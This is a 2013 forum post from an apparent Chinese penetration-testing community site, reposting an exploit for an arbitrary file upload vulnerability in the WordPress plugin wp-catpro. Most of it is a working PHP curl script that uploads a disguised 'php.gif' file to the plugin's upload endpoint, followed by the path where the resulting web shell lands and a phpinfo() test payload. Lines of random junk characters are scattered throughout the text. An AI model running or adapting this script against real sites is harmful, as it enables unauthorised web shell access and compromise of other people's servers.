中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
; w( F, ^9 b R) _1 G- M# X5 Z
#-----------------------------------------------------------------------
9 t8 J2 Y/ R; p
: V; m) M/ r, V& l- b
作者 => Zikou-16
2 A# H" x/ n, K Y" ^
邮箱 =>
zikou16x@gmail.com
2 v, D3 Z0 L# }0 j/ @+ t8 W
测试系统 : Windows 7 , Backtrack 5r3
7 f. t3 [% F/ X+ G" x% ^
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
7 y7 f' f( y# x8 ^, w6 j
####
$ d( @% s* Q0 }! H) r3 x
" M# J+ o; f$ q; S' `% `1 w
#=> Exploit 信息:
4 E; c; R7 O2 p6 Z6 d; w
------------------
! r3 F6 Z0 ?" n0 p: e" F d6 I
# 攻击者可以上传 file/shell.php.gif
& W! ~* g; Q) s( Y
# ("jpg", "gif", "png") // Allowed file extensions
: A- W; L; ]2 f: K3 e, N
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
+ ^+ m8 Z6 X' s7 N q
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
; M; s) H, i6 o9 z
------------------
7 V% B0 T: g, q0 E5 a3 ^
1 r7 B0 Y8 \" s% V( b( s
#=> Exploit
2 o# d! d( q9 P
-----------
& J7 `6 l5 R3 l2 }$ I) O# ` s& C" i
<?php
! L; C* e0 d+ F+ D! k m
. a. S0 b6 [1 n; H) y. d
$uploadfile="zik.php.gif";
- k& K" z2 l1 |' L7 o
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
9 d1 J7 l- m1 v, ]% e: U) n
curl_setopt($ch, CURLOPT_POST, true);
+ F, q. |1 ^; b. a- ]; r& e
curl_setopt($ch, CURLOPT_POSTFIELDS,
; D# d# r2 z! ~ R u
array('Filedata'=>"@$uploadfile",
5 Z9 E$ J6 i* @) T- ]! G
'folder'=>'/wp-content/uploads/catpro/'));
3 J; s' t" \% A: C8 k$ N
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
0 M8 ]6 ?; n' Q. A
$postResult = curl_exec($ch);
! O$ \2 p4 E7 ?2 u9 b ~+ U
curl_close($ch);
4 d L6 K) N+ A2 D. T1 R5 j# O
6 F0 a) R' O' G& Z5 y
print "$postResult";
2 k) S$ ^- }2 P7 E% L2 m5 O# @& G. {
; m' }" |) @: T8 h+ y! U6 W
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
' a' f4 y% ~2 o {: L* y7 ~
?>
/ D e5 Q' | N$ w# U2 K) @2 P* V& [' ~
<?php
9 Q" z/ t" G# h' M! r2 G, F3 ]$ b
phpinfo();
. Q* M: ?4 J( K6 I, c
?>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2